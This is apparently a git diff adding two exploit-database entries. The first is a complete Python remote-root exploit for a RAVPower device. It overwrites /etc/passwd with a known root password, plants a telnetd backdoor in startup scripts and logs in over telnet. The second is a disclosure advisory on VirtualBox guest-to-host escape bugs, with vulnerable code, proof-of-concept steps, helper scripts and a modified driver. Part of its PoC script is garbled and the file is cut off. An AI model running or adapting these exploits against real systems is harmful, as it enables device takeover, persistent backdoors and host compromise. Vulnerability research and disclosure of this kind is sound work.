diff --git a/exploits/hardware/remote/43871.py b/exploits/hardware/remote/43871.py new file mode 100755 index 000000000..d3f4436e9 --- /dev/null +++ b/exploits/hardware/remote/43871.py @@ -0,0 +1,544 @@ +""" + +# Exploit Title: RAVPower - remote root +# Date: 23/01/2018 +# Exploit Authors: Daniele Linguaglossa +# Vendor Homepage: https://www.ravpower.com/ +# Software Link: https://www.ravpower.com/ +# Version: 2.000.056 +# Tested on: OSX +# CVE : CVE-2018-5997 + +""" + +import requests +import time +import telnetlib + + +PATH_PASSWD = "/etc" +FILE_PASSWD = "passwd" +PATH_VSTFUNC = "/etc/init.d" +FILE_VSTFUNC = "vstfunc" +FILE_RC = "/etc/rc.d/rc" +BACKDOOR_TERM = "export TERM=xterm" +BACKDOOR_TELNET = "/usr/sbin/telnetd &" +BASH_SHEBANG = "#!/bin/sh" +TELNETD = "/usr/sbin/telnetd -p 1111 &" + + +def upload(host, port, path, name, content): + user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0" + path = "/upload.csp?uploadpath=%s&file=1515865637281" % path + url ="http://{0}:{1}{2}".format(host,port,path) + files = {'file' : ('%s' % name, content,'application/octet-stream')} + headers = { + "user-agent": user_agent + } + try: + requests.post(url,headers=headers,files=files) + return True + except: + return False + + +# root:admin +tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh +mail:*:8:8:mail:/var/mail:/bin/sh +nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh +guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new +""" + +tmp_vstfunc = """ +export PATH=/bin:/sbin:/usr/bin:/usr/sbin +# A function to stop a program. +killproc() { + local base=${1##*/} + local pid= + pid=`pidof $base` + local i + if [ -n "$pid" ]; then + for i in $pid ; do + kill -KILL $i > /dev/null 2>&1 + done + fi + rm -f /var/run/$base.pid + return 0 +} +# A function to find the pid of a program. +pidofproc() { + local base=${1##*/} + #First try "/var/run/*.pid" files + if [ -f "/var/run/$base.pid" ]; then + local line p pid= + read line < /var/run/$base.pid + for p in $line ; do + [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p" + done + else + pid=`pidof $1 || pidof $base` + fi + if [ -n "$pid" ]; then + echo $pid + return 0 + fi + return 1 +} +# Check if $pid (could be plural) are running +# Return : 0 run +# 1 stop +checkpid() { + local i + for i in $* ; do + if [ -d "/proc/$i" ]; then + return 0 + fi + done + return 1 +} +# Check disk exist +checkdisk() { + return $? +} +# save pid and log function +savesc() { + local i=0 + if [ -n "$3" ]; then + touch /var/run/$3.pid + fi + return $? +} + +# A function check start of a program. +# return: 1 not exist +# 0 exist +checkonly() { + local prgname=${1##*/} + local pid= + if [ -f "/var/run/$prgname.pid" ]; then + pid=`pidof $prgname` + if [ -n "$pid" ]; then + return 0 + fi + return 1 + else + pid=`pidof $prgname` + if [ -n "$pid" ]; then + if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then + return 2 + fi + fi + return 2 + fi + +} +# A function save etc to mtd. +# return: 1 failure +# 0 success +saveetc() { + local ret=0 + + /usr/sbin/etc_tools t > /dev/null 2>&1 + let ret=ret+$? +# ret=$[$ret + $?] + /usr/sbin/etc_tools p > /dev/null 2>&1 + let ret=ret+$? +# ret=$[$ret + $?] + + return $ret +} +# A function resume mtd to etc. +# return: 1 failure +# 0 success +resumeetc() { + local ret=0 + + /usr/sbin/etc_tools b > /dev/null 2>&1 + let ret=ret+$? +# ret=$[$ret + $?] + /usr/sbin/etc_tools u > /dev/null 2>&1 + let ret=ret+$? +# ret=$[$ret + $?] + + return $ret +} + +# Create a lock for /var/lock +AppScriptLock() { + if [ -f /var/lock/$1.pid ]; then + return 0 + else + touch /var/lock/$1.pid + return 1 + fi +} + +# Check a lock for /var/lock +AppScriptChkLock() { + if [ -f /var/lock/$1.pid ]; then + return 1 + else + return 0 + fi +} + +# Delete a lock for /var/lock +AppScriptUnlock() { + if [ -f /var/lock/$1.pid ]; then + rm -rf /var/lock/$1.pid + fi + return 1 +} + +DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade" +ETCPATH="/boot/tmp" +ETCBKPATH="/boot/tmp/etcbackup" +DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar" +DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz" +ETCFILE="/boot/tmp/etc.tar" +ETCBKFILETAR="/boot/tmp/etcbackup.tar" +ETCBKFILE="/boot/tmp/etcbackup.tar.gz" +FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu" +FILELIST1="hostname" +backup_etc() { + rm $ETCBKFILETAR -rf + rm $ETCBKFILE -rf + rm $ETCBKPATH -rf + + # if [ ! -e $DISKPATH ];then + # mkdir -p -m 755 $DISKPATH + # fi + if [ ! -e $ETCBKPATH ]; then + mkdir -p -m 755 $ETCBKPATH + fi +if [ -z $1 ]; then + FILELISTALL=$FILELIST +else + if [ $1 == "resume" ]; then + FILELISTALL=$FILELIST1 + fi +fi + for f in $FILELISTALL + do + if [ -d /etc/$f ]; then + cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 + else + if [ "$f" == "samba/smbpasswd" ]; then + if [ ! -e $ETCBKPATH/samba ]; then + mkdir -p $ETCBKPATH/samba + fi + cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 + elif [ "$f" == "fileserv/lighttpd.user" ]; then + if [ ! -e $ETCBKPATH/fileserv ]; then + mkdir -p $ETCBKPATH/fileserv + fi + cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 + elif [ "$f" == "serversman/cloud.conf" ]; then + if [ ! -f /etc/$f ]; then + continue + fi + if [ ! -e $ETCBKPATH/serversman ]; then + mkdir -p $ETCBKPATH/serversman + fi + cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 + else + cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 + fi + fi + done + tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 + gzip $ETCBKFILETAR + if [ -f $ETCBKFILE ]; then + cp -rf $ETCBKFILE $DIDKETCBKFILE + fi +} + + +backup_etc_telnet() { + rm $ETCBKFILETAR -rf + rm $ETCBKFILE -rf + rm $ETCBKPATH -rf + + # if [ ! -e $DISKPATH ];then + # mkdir -p -m 755 $DISKPATH + # fi + if [ ! -e $ETCBKPATH ]; then + mkdir -p -m 755 $ETCBKPATH + fi +if [ -z $1 ]; then + FILELISTALL=$FILELIST +else + if [ $1 == "resume" ]; then + FILELISTALL=$FILELIST1 + fi +fi + touch $ETCBKPATH/telnetflag + tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 + gzip $ETCBKFILETAR + if [ -f $ETCBKFILE ]; then + cp -rf $ETCBKFILE $DIDKETCBKFILE + fi +} + + + + + + + + + +restore_etc() { + if [ -f $ETCBKFILE ]; then + gunzip $ETCBKFILE + tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1 + for f in $FILELIST + do + if [ -d /etc/$f ]; then + echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc + #cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 + cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1 + else + if [ "$f" == "samba/smbpasswd" ]; then + echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc + cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 + elif [ "$f" == "fileserv/lighttpd.user" ]; then + echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc + cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 + elif [ "$f" == "serversman/cloud.conf" ]; then + if [ ! -f $ETCBKPATH/$f ]; then + continue + fi + echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc + cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 + else + echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc + cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 + fi + fi + done + if [ -f $ETCBKPATH/telnetflag ]; then + touch /etc/telnetflag + fi + fi +} + +# A function check usb flag +# return: 0 service start +# 1 service stop +check_usb_flag() { + local ret=0 + + if [ -e "/proc/usbwrite" ];then + ret=`cat /proc/usbwrite` + fi + + return $ret +} + +########################################################################### +# +# LED operations +# +########################################################################### +led_wink_start() { + LED=`cat /proc/vsled` + if [ $LED -eq 3 ]; then + pioctl wifi 2 + fi +} +led_wink_stop() { + LED=`cat /proc/vsled` + if [ $LED -eq 2 ]; then + pioctl wifi 3 + fi +} +led_wink_chk() { + LED=`cat /proc/vsled` + if [ $LED -eq 2 ]; then + return 1 + else + return 0 + fi +} + +########################################################################### +# +# Flag operation +# +########################################################################### +flagctl_get() { + if [ -e /dev/sda ]; then + trynum=0 + while [ $trynum -lt 3 ]; do + retval=`/usr/sbin/flagctl disk get $1` + if [ ! -z $retval ]; then + return $retval + fi + let trynum=trynum+1 +# trynum=$[$trynum+1] + sleep 1 + done + fi +} + +flagctl_set() { + if [ -e /dev/sda ]; then + trynum=0 + while [ $trynum -lt 3 ]; do + /usr/sbin/flagctl disk set $1 $2 + flagctl_get $1 + if [ "$?" -eq "$2" ]; then + sync + return 1 + fi + let trynum=trynum+1 +# trynum=$[$trynum+1] + sleep 1 + done + fi + return 0 +} + +########################################################################### +# +# string function +# +########################################################################### +str_func_strstr () { + if [ ${#2} -eq 0 ];then + echo "$1" + return 0 + fi + case "$1" in + *$2*) + return 1 + ;; + *) + return 0 + ;; + esac +} + +dev_test_host() { + nordev=`echo $1 | cut -c -3` + s_str=`ls -l /sys/block/$nordev/device` + str_func_strstr "$s_str" "host0" + if [ $? -eq 1 ]; then + return 1 + fi + return 0; +} + +dev_test_usb() { + nordev=`echo $1 | cut -c -3` + s_str=`ls -l /sys/block/$nordev/device` + str_func_strstr "$s_str" "usb" + if [ $? -eq 1 ]; then + return 1 + fi + return 0; +} + +########################################################################### +# +# Permission check functions +# +########################################################################### +# $1: device name +# $2: host/usb +# $3: if recursive, 1: enable, 0: disable +perm_change_start() { + permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` + if [ ! -z $permpid ]; then + return 1; + else + /usr/sbin/permchange $1 $2 $3 & + fi +} + +# $1: device name +# $2: if recursive, 1: enable, 0: disable +perm_chk_start() { + dev_test_host $1 + if [ $? -eq 1 ]; then + perm_change_start $1 host $2 + else + perm_change_start $1 usb $2 + fi +} + +perm_chk_stop() { + permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` + if [ ! -z $permpid ]; then + for ppid in $permpid ; do + kill -9 $ppid > /dev/null 2>&1 + done + fi +} + +########################################################################### +# Time function +########################################################################### +timedate_settosys() { + if [ -e /etc/timedate ]; then + TIMESET=`cat /etc/timedate` + date -s $TIMESET + fi +} + +timedate_save() { + date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate +} +""" +print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n" +host = raw_input("Insert Ravpower IP: ") +print "[*] Step 1 -> pwning /etc/passwd" +if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd): + print "[-] Filed to pwn /etc/passwd maybe fixed?" + exit(0) +print "[*] Step 2 -> pwning /etc/init.d/vstfunc" +if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc): + print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?" + exit(0) +t = None +print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)" +while True: + try: + print "[*] Step 3-1 -> Trying to telnet..." + t = telnetlib.Telnet(host, port=1111) + break + except: + time.sleep(5) +t.read_until(": ") +t.write("root\n") +t.read_until(": ") +t.write("admin\n") +t.read_until("# ") +print "[*] Step 4 -> pwning /etc/rc.d/rc" +t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC)) +t.read_until("# ") +t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC)) +t.read_until("# ") +print "[*] Step 4-1 -> pwned!" +print "[*] Step 5 -> Saving settings" +t.write("/usr/sbin/etc_tools p\n") +t.read_until("# ") +print "[*] Step 5-1 -> Done!" +print "[*] Step 6 -> Starting telnetd" +t.write("/usr/sbin/telnetd &\n") +t.read_until("# ") +print "[*] Step 6-1 -> Done!" +print "[*] Step 7 -> Killing old telnet" +t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n") +t.read_until("# ") +print "[*] Step 7-1 -> Done!" +print "[*] Step 8 -> Restoring vstfunc" +if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc): + print "[-] Filed to pwn /etc/init.d/vstfunc fixed?" + exit(0) +print "[*] Step 8-1 -> Done!" +print "[!] PWNAGE COMPLETED! connect with root:admin" \ No newline at end of file diff --git a/exploits/multiple/local/43878.md b/exploits/multiple/local/43878.md new file mode 100644 index 000000000..d4f43fa68 --- /dev/null +++ b/exploits/multiple/local/43878.md @@ -0,0 +1,1471 @@ +# SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities +Source: https://blogs.securiteam.com/index.php/archives/3649 + +## Vulnerabilities summary +The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1. + +## Credit +An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. + +## Vendor response +Oracle were informed of the vulnerabilities and released patches to address them. + +For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html + +CVE: CVE-2018-2698 + +## Vulnerabilities details +The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems. + +provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guest’s VRAM buffer. + +The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory. + +Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI). + +Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features. + +The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA. + +## Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer +The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435): + +``` + typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER + { + uint32_t cbTransferSize; + uint32_t fFlags; + union + { + uint64_t phBuf; + VBOXVIDEOOFFSET offVramBuf; + } Src; + union + { + uint64_t phBuf; + VBOXVIDEOOFFSET offVramBuf; + } Dst; + } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; +``` + +When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest. + +On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp: + + +``` + static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer) + { + // ... + uint32_t cbTransfer = pTransfer->cbTransferSize; + uint32_t cbTransfered = 0; + // ... + do + { + uint32_t cbSubTransfer = cbTransfer; + if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET) + { + // [[ Note 1 ]] + pvSrc = pvRam + pTransfer->Src.offVramBuf + cbTransfered; + } + else + { + // ... + } + + if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET) + { + // [[ Note 2 ]] + pvDst = pvRam + pTransfer->Dst.offVramBuf + cbTransfered; + } + else + { + // ... + } + + if (RT_SUCCESS(rc)) + { + memcpy(pvDst, pvSrc, cbSubTransfer); + cbTransfer -= cbSubTransfer; + cbTransfered += cbSubTransfer; + } + else + { + cbTransfer = 0; /* to break */ + } + // ... + } while (cbTransfer); + + if (RT_SUCCESS(rc)) + return sizeof (*pTransfer); + return rc; + } +``` + +Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks. + +A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize. + +This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily. + +## Out-of-bounds read/write in vboxVDMACmdExecBlt + +The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows: + + +``` + typedef uint64_t VBOXVIDEOOFFSET; + /* [...] */ + typedef struct VBOXVDMACMD_DMA_PRESENT_BLT + { + VBOXVIDEOOFFSET offSrc; + VBOXVIDEOOFFSET offDst; + VBOXVDMA_SURF_DESC srcDesc; + VBOXVDMA_SURF_DESC dstDesc; + VBOXVDMA_RECTL srcRectl; + VBOXVDMA_RECTL dstRectl; + uint32_t u32Reserved; + uint32_t cDstSubRects; + VBOXVDMA_RECTL aDstSubRects[1]; + } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; +``` + +When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest. + +On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp: + + +``` + static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer) + { + const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]); + Assert(cbBlt <= cbBuffer); + if (cbBuffer < cbBlt) + return VERR_INVALID_FUNCTION; + + /* we do not support stretching for now */ + Assert(pBlt->srcRectl.width == pBlt->dstRectl.width); + Assert(pBlt->srcRectl.height == pBlt->dstRectl.height); + if (pBlt->srcRectl.width != pBlt->dstRectl.width) + return VERR_INVALID_FUNCTION; + if (pBlt->srcRectl.height != pBlt->dstRectl.height) + return VERR_INVALID_FUNCTION; + Assert(pBlt->cDstSubRects); /* [[ Note 2 ]] */ + + uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3; + VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0}; + + if (pBlt->cDstSubRects) + { + /* [...] */ + } + else + { + /* [[ Note 1 ]] */ + int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc, + &pBlt->dstDesc, &pBlt->srcDesc, + &pBlt->dstRectl, + &pBlt->srcRectl); + AssertRC(rc); + if (!RT_SUCCESS(rc)) + return rc; + + vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl); + } + + return cbBlt; + } +``` + +At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch. + +vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses: + + +``` + static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf, + const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc, + const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl) + { + /* [...] /* + if (pDstDesc->width == pDstRectl->width + && pSrcDesc->width == pSrcRectl->width + && pSrcDesc->width == pDstDesc->width) + { + Assert(!pDstRectl->left); + Assert(!pSrcRectl->left); + uint32_t cbOff = pDstDesc->pitch * pDstRectl->top; + uint32_t cbSize = pDstDesc->pitch * pDstRectl->height; + memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize); + } + else + { + /* [...] /* + } + return VINF_SUCCESS; + } +``` + +By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest). + +This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily. + +## Proof of Concept + +We will modified vboxvideo kernel module to trigger the bug. + +The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler. + +In this PoC we will use 64-bit Ubuntu VM. + +First we will download the VBoxGuestAdditions: + + +``` + $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso + $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt + $ sudo /mnt/VBoxLinuxAdditions.run +``` + +Then we will upload the modified files – HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code: + +``` + $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d + $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo + $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec + $ sudo additions/vboxadd setup + $ sudo reboot +``` + +There should now be a new device called /dev/vboxpwn with 0666 permissions. + +Now create the following Python script called poc.py: + +``` + import os, fcntl, struct, array, sys + + fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR) + + # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive + read_type = 4 + write_type = 5 + + def read(offset, size): + data = '' + data += struct.pack(">> read(0, 0x10).tostring() + 'U,\\fU,\\fU,\\fU,\\f' + >>> read(vram_sz, 0x10).tostring() + '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' + >>> read(-0x1000, 0x10).tostring() + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +``` + +The second read returns the header of the shared library mapped directly after the VRAM. + +Of course we might crash the VM if we hit unmapped memory. + +For demonstrating an absolute read/write, we need the VRAM base address on the host. + +The findvram.py script find the VRAM base address – given the configured VRAM size. + +In our case the VRAM is 33 MiB large. + +The first argument is the PID of the host process (as shown above). + +Also grab some absolute address you want to leak: + +``` + $ sudo python2 findvram.py 23791 33 + VRAM @ 0x00007f1651c75000 + $ sudo cat /proc/23791/maps | grep libcurl | head -n 1 + 7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634 /usr/lib/libcurl.so.4.4.0 +``` + +Back to the VM, we will read the ELF header of this library: + +``` + $ python2 poc.py + [...] + >>> vram = 0x00007f1651c75000 + >>> read(0x7f168969c000 - vram, 0x10).tostring() + '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' +``` + +And now we will crash it by writing data to an unmapped address (make sure a debugger is attached): + +``` +>>> write(0x414141414141 - vram, 'BBBB') +``` + +The crash: + +``` + Thread 7 "EMT" received signal SIGSEGV, Segmentation fault. + [Switching to Thread 0x7f1680b8e700 (LWP 23801)] + 0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6 + (gdb) x/1i $rip + => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>: mov %ecx,-0x4(%rdi,%rdx,1) + (gdb) i r ecx rdi rdx + ecx 0x42424242 1111638594 + rdi 0x414141414141 71748523475265 + rdx 0x4 4 +``` + +findvram.py + +``` +import sys + +if len(sys.argv) != 3: + print 'Usage: sudo python2 findvram.py ' + print + print 'Finds the VRAM page on a Linux host by inspecting /proc//maps and ' + print 'looking for a properly sized map. Works best if an odd amount of VRAM is' + print 'configured, like 33 MB instead of 32.' + exit() + +pid = int(sys.argv[1]) +sz = int(sys.argv[2])*1024*1024 + +with open('/proc/%d/maps'%pid) as f: + for line in f: + start, end = [int(x,16) for x in line.split()[0].split('-')] + if end-start == sz: + print 'VRAM @ 0x%016x - 0x%016x' % (start, end) +``` + +70-vboxpwn.rules + +``` +KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666" +``` + +HGSMIBase.c + +``` +/* $Id: HGSMIBase.cpp $ */ +/** @file + * VirtualBox Video driver, common code - HGSMI initialisation and helper + * functions. + */ + +/* + * Copyright (C) 2006-2016 Oracle Corporation + * + * This file is part of VirtualBox Open Source Edition (OSE), as + * available from http://www.virtualbox.org. This file is free software; + * you can redistribute it and/or modify it under the terms of the GNU + * General Public License (GPL) as published by the Free Software + * Foundation, in version 2 as it comes in the "COPYING" file of the + * VirtualBox OSE distribution. VirtualBox OSE is distributed in the + * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. + */ + +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include + +/** Send completion notification to the host for the command located at offset + * @a offt into the host command buffer. */ +static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt) +{ + VBoxVideoCmnPortWriteUlong(pCtx->port, offt); +} + + +/** + * Inform the host that a command has been handled. + * + * @param pCtx the context containing the heap to be used + * @param pvMem pointer into the heap as mapped in @a pCtx to the command to + * be completed + */ +DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, + void *pvMem) +{ + HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem); + HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr); + Assert(offMem != HGSMIOFFSET_VOID); + if(offMem != HGSMIOFFSET_VOID) + { + HGSMINotifyHostCmdComplete(pCtx, offMem); + } +} + + +/** Submit an incoming host command to the appropriate handler. */ +static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx, + HGSMIOFFSET offBuffer) +{ + int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer); + Assert(!RT_FAILURE(rc)); + if(RT_FAILURE(rc)) + { + /* failure means the command was not submitted to the handler for some reason + * it's our responsibility to notify its completion in this case */ + HGSMINotifyHostCmdComplete(pCtx, offBuffer); + } + /* if the cmd succeeded it's responsibility of the callback to complete it */ +} + +/** Get the next command from the host. */ +static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx) +{ + return VBoxVideoCmnPortReadUlong(pCtx->port); +} + + +/** Get and handle the next command from the host. */ +static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx) +{ + HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx); + AssertReturnVoid(offset != HGSMIOFFSET_VOID); + hgsmiHostCmdProcess(pCtx, offset); +} + + +/** Drain the host command queue. */ +DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx) +{ + while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING) + { + if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false)) + return; + hgsmiHostCommandQueryProcess(pCtx); + ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false); + } +} + + +/** Detect whether HGSMI is supported by the host. */ +DECLHIDDEN(bool) VBoxHGSMIIsSupported(void) +{ + uint16_t DispiId; + + VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID); + VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI); + + DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA); + + return (DispiId == VBE_DISPI_ID_HGSMI); +} + + +/** + * Allocate and initialise a command descriptor in the guest heap for a + * guest-to-host command. + * + * @returns pointer to the descriptor's command data buffer + * @param pCtx the context containing the heap to be used + * @param cbData the size of the command data to go into the descriptor + * @param u8Ch the HGSMI channel to be used, set to the descriptor + * @param u16Op the HGSMI command to be sent, set to the descriptor + */ +DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx, + HGSMISIZE cbData, + uint8_t u8Ch, + uint16_t u16Op) +{ +#ifdef VBOX_WDDM_MINIPORT + return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op); +#else + return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op); +#endif +} + + +/** + * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc. + * + * @param pCtx the context containing the heap used + * @param pvBuffer the pointer returned by @a VBoxHGSMIBufferAlloc + */ +DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx, + void *pvBuffer) +{ +#ifdef VBOX_WDDM_MINIPORT + VBoxSHGSMIHeapFree (&pCtx->heapCtx, pvBuffer); +#else + HGSMIHeapFree (&pCtx->heapCtx, pvBuffer); +#endif +} + + +/** + * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc. + * + * @param pCtx the context containing the heap used + * @param pvBuffer the pointer returned by @a VBoxHGSMIBufferAlloc + */ +DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx, + void *pvBuffer) +{ + /* 